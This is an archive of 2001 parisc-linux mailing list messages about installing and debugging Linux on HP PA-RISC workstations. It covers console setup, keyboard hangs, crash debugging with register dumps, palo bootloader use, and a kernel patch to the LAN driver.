> Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> > So I have now succesfully installed the base system on a external narrow
> > SCSI. I can boot off of it. Now the next question is how do I set it up
to
> > go to the STI console instead of the serial?
> >
> > Ray
>
> try console=tty on palo commande line
>
> i try it, messages go on console but i get a "unable to open initial
console"
> and back to serial to login !
>
> ----------------------------------------
> Content-Type: text/html; charset="iso-8859-1"; name="Pices jointes : 1"
> Content-Transfer-Encoding: quoted-printable
> Content-Description:
> ----------------------------------------
>
> --
> _________________________________________________
>
>                     Matthieu Le Corre
>                   Service informatique
>    Ecole Polytechnique de l'Universit de Nantes
>       Matthieu.Lecorre@polytech.univ-nantes.fr
>                      02.40.68.32.23
> __________________________________________________
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 0.9.2 on C110
Date: Fri, 13 Jul 2001 15:01:43 +0200test
Lines: 40
Approved: news@gmane.org
Message-ID: <995029303.3b4ef1372afa0@epost.start.no>
References: <1A8904C3797ED411AC2E0008C7E6F88117C915@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620304 22368 80.91.229.3 (22 Nov 2014 01:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:24 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 07:01:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C614482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 07:01:45 -0600 (MDT)
Original-Received: from epost.start.no (epost.start.no [195.159.1.207])
	by smtp1.powertech.no (Postfix) with ESMTP
	id D895043B75; Fri, 13 Jul 2001 15:01:42 +0200 (CEST)
Original-Received: by epost.start.no (Postfix, from userid 99)
	id 323E8224DAD; Fri, 13 Jul 2001 15:01:43 +0200 (CEST)
In-Reply-To: <1A8904C3797ED411AC2E0008C7E6F88117C915@nlntmail2b.ats.nld.alcatel.nl>
User-Agent: IMP/PHP IMAP webmail program 2.2.0-pre11
Xref: news.gmane.org gmane.linux.ports.parisc:11626

Quoting "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>:

> High all,
> 
> Just downloaded 0.9.2 image, burned it, and gave it
> a try on my C110.
> (should work afaik)
> For  the broad picture:
> C110, 256MB mem PS/2 keyboard & mouse, two lan
> interface, neither connected
> (yet) and no serial console)
> 
> Booting went well, switched to STI-console (nice tux
>  in upperleft corner)
> In a blink boot (cpu, mem, disks, lan) info flashed
> across the screen, and
> then, instead of login, a graphic screen with a
> general debian message that
> it is experimental software.
> 
> After that the system seems to be frozen...
> 
> Am i missing something?
> 
> Hans.

Not really - its the PS/2 keyboard hang that currently
affects B-class and apparently C-class machine. Possibly
others too. My B132 does the same. Some people have had
success unplugging and replugging the keyboard at this
point - trying to provoke a reset. This hasn't worked for
me though :-(

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] help debuging HMPC
Date: Fri, 13 Jul 2001 11:01:10 -0600
Lines: 125
Approved: news@gmane.org
Message-ID: <20010713110110.A9795@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620304 22373 80.91.229.3 (22 Nov 2014 01:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 11:01:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0121482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 11:01:14 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP id CEA335873A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 04:02:35 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id D91C0BC72; Fri, 13 Jul 2001 11:01:10 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11627

Hello parisc-linux hackers,

Now that I am starting to have time to devote on this port again, 
I started to look into the HPMC crash when doing a cpio from the 
scsi cdrom drive to a hard drive again.  I origionally tried to
debug the problem using printk statements in the ccio code, and
John Marvin helped me identify a problem I was experiencing while
attempting to debug with printk's .

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-May/012579.html

Now I am trying to debug the problem using a different approach 
that does not use printk statements.  The HPMC is extremely
reproducable, and the IAOQ always points to the _gsc_readl
function and GR 2 always points to the dino_in32 function as 
the _gsc_readl function caller.

This is the instruction that causes the HPMC (IAOQ address - 8):
	ldwa  r0(r26),r26

Looking up the value of GR26 from the register dump gives me random
addresses.  The last three addresses I recorded using this kernel are:

	GR26: 0x00ff9000
	GR26: 0x002e8800
	GR26: 0x000a1000

My (limited) understanding of appropriate values for an address
being passed to the _gsc_readl function would be an I/O address,
which is >= 0xf0000000.  If my understanding is correct, then the
C200+ is properly HPMC'ing because of the invalid I/O address.

To verify my assumptions about the bad value in the GR26, I added
a global variable rbrad_debug to the dino.c code which will save 
the value off in memory (since I can not use printk :() the address 
value being passed to _gsc_readl from the dino_in32 function and 
use the ser mr <addr> [len] of the pdc to read the contents of
the rbrad_debug variable after the machine had HPMC'd.

Doing this gave me unexpected results also. (The results did not
match GR26 and they were not always >= 0xf0000000).  So I made
rbrad_debug an array of u32 and set known values in array indexes
0, 2, and 4 and used array indexes 1 and 3 to store the addresses
being written by gsc_writel (I stored this value for curiosity sakes) 
and gsc_readl.  If the known addresses were present in the the proper
index of the array, then it would increase my trust in the values being
returned in the unknown indexes.

To my surprise, I am not getting the expected values back even in the
known indexes when I do the ser mr <addr> 5 in the boot menu after the
HPMC.

This leaves me to consider two things:
	1. Am I using the ser mr <addr> len incorrectly?

	I grabbed the address from the system map and in this case:
	102db05c D rbrad_debug

		Main Menu: Enter command > ser mr 0x102db05c 5

   		0x102db05c  3fa276cd  5faa1b4c  7f44ed9a  bf543698  
   		0x102db06c  fe89db34  


	Next I though of getting rid of the 0x10000000 since that is
	where I believe we relocate the kernel to in vm.
	
		Main Menu: Enter command > ser mr 0x002db05c 5

		0x002db05c  0fc1bc54  f97e75b0  1f8378a8  f2fceb60  
		0x002db06c  3f06f150  

	Index 0, 2, and 4 should all be 0 if I were going to trust
	these values.

	2. Is memory getting stomped again like it did before when
	I was trying to debug using printk statements.

	Two things kinda indicate this is happening again to me (but
	I could also be mis-reading the results).
		a. I am not getting the known results back in the
		   indexes I expected.

		b. The address present in the IAOQ is not present in
		   the stack trace that is dumped.  The IAOQ value is:
		
			IAOQ: 102200d0 102207e4	

		and this is the stack dump range:

			Dumping Stack from 10320000 to 10320a40:

		running the astk command from the build-tools also does
		not show the dino_in32 or the _gsc_readl addresses in
		the stack trace either.

I have a bunch of files saved off in ~rbrad on p.e.h.c for people to look
at if they are interested.  I'm not going to attach them to this email 
since I (appropriately) got spanked last time for doing that :).   If people
do not have access to p.e.h.c and would like to get a copy of the files,
send me private email (rbradetich@uswest.net), and we can arrange a 
method to get the files for you.

The files on p.e.h.c/~rbrad are:
	vmlinux - The kernel used for the c200.log
	System.map - The System.map for the vmlinux kernel
	dino.patch - My patch to dino.c which addes rbrad_debug
	c200.log - The entire console log of the HPMC including:
		- Commands used to create the HPMC
		- The Stack Trace and register dump
		- The results from the ser mr commands
		- and the PIM dump for the HPMC

Hopefully this provides enough information for people interested in helping
debug the problem, if it doesn't let me know what additional information
you need and I will working on getting the information to you.

Thanks!

- Ryan

-- 




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LOOP_CLR_FD on 735
Date: Fri, 13 Jul 2001 13:30:01 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A04BF7840@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620304 22376 80.91.229.3 (22 Nov 2014 01:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:24 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 11:30:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71325482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 11:30:21 -0600 (MDT)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel6.hp.com (Postfix) with ESMTP id 9311B1F5FE
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 13:30:10 -0400 (EDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 781B51F54F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 13:30:10 -0400 (EDT)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <3P2WW4PC>; Fri, 13 Jul 2001 13:30:10 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11628

Hi!

I've been trying the latest releases on various workstations I have access
to.

Two of the machines are a B180L and a 735.  The B180L installs with the
0.9.1 CD.   When I try the 735 with 0.9.1 or 0.9.2 I get the message

	ioctl: LOOP_CLR_FD: No such device or address

at the point where the Rescue Floppy is being installed from floppy images
off of the CD into the Linux system partition, it just sits there.  I
believe I saw a similiar message with the B180L but it flicked past too fast
for me to read the entire message.

Both machines are being installed via the serial console.

I've seen that there is another report of a 735 running at ESIEE but that
was a "735/B"; this is probably the 735/125 instead of a 735/99 that I'm
running.

Any suggestions?  What is this message?  Anything you want me to try?

Cheers,

Kevin Carson





From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo not running -- "Installing Pa-risc linux problem"
Date: Fri, 13 Jul 2001 14:50:35 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <001101c10bcc$b3559990$d10c6481@HCI009>
References: <20010630122236.A6437@megatonmonkey.net> <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca> <20010704155338.E11831@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620305 22380 80.91.229.3 (22 Nov 2014 01:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 12:56:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0414482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 12:56:24 -0600 (MDT)
Original-Received: from HCI009 (gl-209.gaul.csd.uwo.ca [129.100.12.209])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f6DIudV03246
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 14:56:39 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11629

We came across a question of following the instrustuion in "INstalling
pa-risc linux" (www.parisc-linux.org/software/install.html". in
Step 8  "Initialize the boot loader (roughly equivalent to lilo): *** NOTE
*** change both '3's in the following command to use your partition number
		$ palo -k /boot/vmlinux -b /boot/iplboot \
			-c '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3' \
			-I /dev/sda

"

Question 1 : After booting up from network, we logged in serial console and
palo is not in HP box.
so we copied palo from the NFS server into the NFS directory so that the HP
box can "see it" . However, it cannot run "palo". ( we think that palo is
compiled under intel chip, and don't like the HP's Risc CPU).
2. We tried to compile "palo" again in HP box, but we cannot compile it?

any idea about this,







From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem activating the optional lan card on 712/80 with 0.9-32serial
Date: Fri, 13 Jul 2001 21:02:28 +0200
Lines: 190
Approved: news@gmane.org
Message-ID: <20010713190310.95C7A482A@dsl2.external.hp.com>
References: <200107131003.MAA10316@hprtdt13.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620305 22386 80.91.229.3 (22 Nov 2014 01:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:25 +0000 (UTC)
Cc: hzessel@grc.hp.com
To: Holger Zessel <hzessel@grc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 13:03:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 95C7A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 13:03:10 -0600 (MDT)
Original-Received: (qmail 1124 invoked by uid 0); 13 Jul 2001 19:03:02 -0000
Original-Received: from pd90403fc.dip.t-dialin.net (HELO there) (217.4.3.252)
  by mail.gmx.net (mp006-rz3) with SMTP; 13 Jul 2001 19:03:02 -0000
X-Mailer: KMail [version 1.2.9]
In-Reply-To: <200107131003.MAA10316@hprtdt13.grc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11630

Hi Holger,

I think the main problem why the second lan card didn't worked was, that
both - the first and the second card - tried to register the "eth0" device 
name.
I just committed the following patch and it should fix your problem.

Greetings,
Helge

RCS file: /home/cvs/parisc/linux/drivers/gsc/lan.c,v
retrieving revision 1.9
diff -u -r1.9 lan.c
--- lan.c       2001/07/09 02:34:02     1.9
+++ lan.c       2001/07/13 18:39:32
@@ -43,19 +43,16 @@
 
        printk(KERN_INFO "Found i82596 at 0x%p, IRQ %d\n", d->hpa, irq);
 
-       netdevice = kmalloc(sizeof(*netdevice), GFP_KERNEL);
+       netdevice = alloc_etherdev(NULL,0);
        if (!netdevice)
-               return -ENOMEM;
+               return -ENOMEM;
 
-       memset(netdevice, 0, sizeof(*netdevice));
-       strcpy(netdevice->name,"eth0");
        netdevice->base_addr = (unsigned long) d->hpa;
        netdevice->irq = irq;
        netdevice->init =
                (d->sversion == 0x72) ? asp_i82596_probe :lasi_i82596_probe;
 
-       retval = register_netdevice(netdevice);
-
+       retval = register_netdev(netdevice);
        if (retval) {
                printk(KERN_WARNING __FILE__ ": register_netdevice ret'd %d\n", retval);
                kfree(netdevice);


On Friday 13 July 2001 12:03, Holger Zessel wrote:
> Hi all,
>
> did anybody manage to activate the optional lan card in the 712 ??
>
> As far as I know the normal prefab kernel on one of the iso images
> should work. And according to the website the card should be supported.
> I installed the 0.9-32serial and everything was fine so far.
>
> The boot messages show that the kernel sees the card but registering
> the card as a networkdevice seems to be the problem.
>
> I remembered that at least 2.2 kernels needed a commandline option
> e.g   ether=0,0,eth1   to enable an additional lancard and
> experimented with the command line but have not been able to find
> sufficient info or to see any effect on the behavior.
>
> Crucial seem to be the following lines (full dmesg output is further
> below):
>
> 4. Gecko 80 Core Lan (802.3) (10) at 0xf0107000, versions 0x1c, 0x0, 0x8a,
> 0x0, 0x0 ...
> 12. Gecko Optional Lan (802.3) (10) at 0xf0507000, versions 0x18, 0x0,
> 0x8a, 0x0, 0x0 ...
> Found i82596 at 0xf0107000, IRQ 87
> early initialization of device eth0 is deferred
> Found i82596 at 0xf0507000, IRQ 119
> early initialization of device eth0 is deferred
> lan.c: register_netdevice ret'd -17
> Warning : device (10, 0x18, 0x0, 0x8a, 0x0) NOT claimed by Lasi i82596 LAN
> 712, 715 or similiar
>
>
> The card was working fine on HP-UX 10.20 and currently it is not connected
> to a hub but that does not make a difference in the behavior.
>
> Questions:
>    - Any bugs / caveats known ??
>    - cmdline options needed here evtly ??
>
>
> Thanks in advance for feedback,
> best regards,
> Holger
>
>
>
> Full dmesg output:
>
>
> Linux version 2.4.0-pa10 (root@slab) (gcc version 3.0 20010315
> (prerelease)) #1 Wed May 30 20:19:52 BST 2001 FP[0] enabled: Rev 1 Model 13
> The 32-bit Kernel has started...
> Determining PDC firmware type: Older Legacy Box
> setup_cmdline(0x65328,0x65328,0x0,0x0)
> PALO command line: 'root=/dev/sda2 HOME=/ TERM=linux console=ttyS0
> ether=eth1,0,0,0,0' PALO initrd 0-0
> model   00006010 00000481 00000000 00000000 7816e9c5 00000000 00000004
> 00000072 00000072 vers    0000000b
> CPUID   vers 0 rev 0
> model   9000/712
> Total Memory: 64 Mb
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 16384
> zone(0): 16384 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Searching for devices...
> Found devices:
> 1. Gecko 80 GSC Core Graphics (10) at 0xf8000000, versions 0x1c, 0x0, 0x85,
> 0x0, 0x0 2. Gecko 80 Core BA (11) at 0xf0100000, versions 0x1c, 0x0, 0x81,
> 0x0, 0x0 3. Gecko 80 Core SCSI (10) at 0xf0106000, versions 0x1c, 0x0,
> 0x82, 0x0, 0x0 4. Gecko 80 Core Lan (802.3) (10) at 0xf0107000, versions
> 0x1c, 0x0, 0x8a, 0x0, 0x0 5. Gecko 80 Core RS-232 (10) at 0xf0105000,
> versions 0x1c, 0x0, 0x8c, 0x0, 0x0 6. Gecko 80 Core Centronics (10) at
> 0xf0102000, versions 0x1c, 0x0, 0x74, 0x0, 0x0 7. Gecko 80 Audio (10) at
> 0xf0104000, versions 0x1c, 0x0, 0x7b, 0x0, 0x0 8. Gecko 80 Core PC Floppy
> (10) at 0xf010a000, versions 0x1c, 0x0, 0x83, 0x0, 0x0 9. Gecko 80 Core PC
> Keyboard (10) at 0xf0108000, versions 0x1c, 0x0, 0x84, 0x0, 0x0 10. Gecko
> 80 Core PC Keyboard (10) at 0xf0108100, versions 0x1c, 0x0, 0x84, 0x0, 0x0
> 11. Gecko 80 Core BA (11) at 0xf0500000, versions 0x1c, 0x0, 0x81, 0x0, 0x0
> 12. Gecko Optional Lan (802.3) (10) at 0xf0507000, versions 0x18, 0x0,
> 0x8a, 0x0, 0x0 13. Gecko Optional RS-232 (10) at 0xf0505000, versions 0x18,
> 0x0, 0x8c, 0x0, 0x0 14. Gecko 80 (712/80) (0) at 0xfffbe000, versions
> 0x601, 0x0, 0x4, 0x0, 0x81 15. Gecko 80 (1) at 0xfffbf000, versions 0x38,
> 0x0, 0x9, 0x0, 0x0
> That's a total of 15 devices.
> CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
> Kernel command line: root=/dev/sda2 HOME=/ TERM=linux console=ttyS0
> ether=eth1,0,0,0,0 Calibrating delay loop... 79.66 BogoMIPS
> Memory: 62272k available
> Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
> Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xf0100000 found.
> Lasi version 0 at 0xf0500000 found.
> Initializing Lasi PS/2-keyboard port at 0xf0108000...
> Support for Lasi PS/2-psaux not yet available !
> Found i82596 at 0xf0107000, IRQ 87
> early initialization of device eth0 is deferred
> Found i82596 at 0xf0507000, IRQ 119
> early initialization of device eth0 is deferred
> lan.c: register_netdevice ret'd -17
> Warning : device (10, 0x18, 0x0, 0x8a, 0x0) NOT claimed by Lasi i82596 LAN
> 712, 715 or similiar Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> request_module[parport_lowlevel]: Root fs not mounted
> lp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> eth0: 82596 at 0xf0107000, 08 00 09 5C 55 1E IRQ 87.
> 82596.c $Revision: 1.18 $
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
> SERIAL_PCI enabled ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf0505800 (irq = 122) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> parport_init_chip: initialize bidirectional-mode.
> parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
> lp0: using parport0 (interrupt-driven).
> SCSI subsystem driver Revision: 1.00
> sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
> scsi0: Revision 0x2
> Post test1, istat 01, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: Good, target data areas are dma coherent
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
>   Vendor: SEAGATE   Model: ST32550N          Rev: HP09
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
> SCSI device sda: 4165272 512-byte hdwr sectors (2133 MB)
> Partition check:
>  sda: sda1 sda2 sda3
> md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
> md.c: sizeof(mdp_super_t) = 4096
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 4096 bind 8192)
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> VFS: Mounted root (ext2 filesystem) readonly.
> Adding Swap: 204592k swap-space (priority -1)
> eth0: link ok.




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TODO list
Date: Fri, 13 Jul 2001 20:10:08 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20010713201008.Q3048@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620305 22395 80.91.229.3 (22 Nov 2014 01:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 13:10:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3356D482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Jul 2001 13:10:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15L8KG-0002nW-00
	for parisc-linux@parisc-linux.org; Fri, 13 Jul 2001 20:10:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11631

Here's some things which need to get fixed, courtesy of Alan Cox:

 * Documentation/parisc/unwritten appears out of date

 * cache_init wants some printk DEBUG levels adding
   [In general grep printk(\" is useful to check]

 * arch/parisc/kernel/irq.c has an unchecked kmalloc around line 550.

 * led_get_net_stats() is interrupt-unsafe.

 * ptrace is chock-full of intrusive debug code.  either remove it or
   macroise it.

 * smp_call_function has problems:
	If the calling thread is real time it wont yield - you need to use
	a timeout

	How do we handle IPI failures or retransmits?

 * Why does the superio driver BUG and thus oops rather than printking an
   error and continuing without that driver ?

 * binfmt_som still uses the old strlen_user and needs revisiting to solve
   DoS issues

 * extern asmlinkage long sys32_sysctl(struct __sysctl_args32 *args) is
   a little strange.  Also shouldnt oldlen32 be unsigned ?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo not running -- "Installing Pa-risc linux problem"
Date: Fri, 13 Jul 2001 13:53:22 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <m15L906-000OU0C@bame.riverrock.org>
References: <20010630122236.A6437@megatonmonkey.net> <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca> <20010704155338.E11831@megatonmonkey.net>  <001101c10bcc$b3559990$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620305 22400 80.91.229.3 (22 Nov 2014 01:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Yan Han" <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 13:53:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57EAD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 13:53:25 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA14199;
	Fri, 13 Jul 2001 13:53:22 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15L906-000OU0C@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <yhan@uwo.ca>; Fri, 13 Jul 2001 13:53:22 -0600 (MDT) 
In-Reply-To: Your message of "Fri, 13 Jul 2001 14:50:35 EDT."
             <001101c10bcc$b3559990$d10c6481@HCI009> 
Xref: news.gmane.org gmane.linux.ports.parisc:11632

> We came across a question of following the instrustuion in "INstalling
> pa-risc linux" (www.parisc-linux.org/software/install.html". in
> Step 8  "Initialize the boot loader (roughly equivalent to lilo): *** NOTE
> *** change both '3's in the following command to use your partition number
> 		$ palo -k /boot/vmlinux -b /boot/iplboot \
> 			-c '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3' \
> 			-I /dev/sda
> "

Palo should have been run as part of the Debian install process and you
should have an /etc/palo.conf.  If you are installing by hand you have more
work to do...

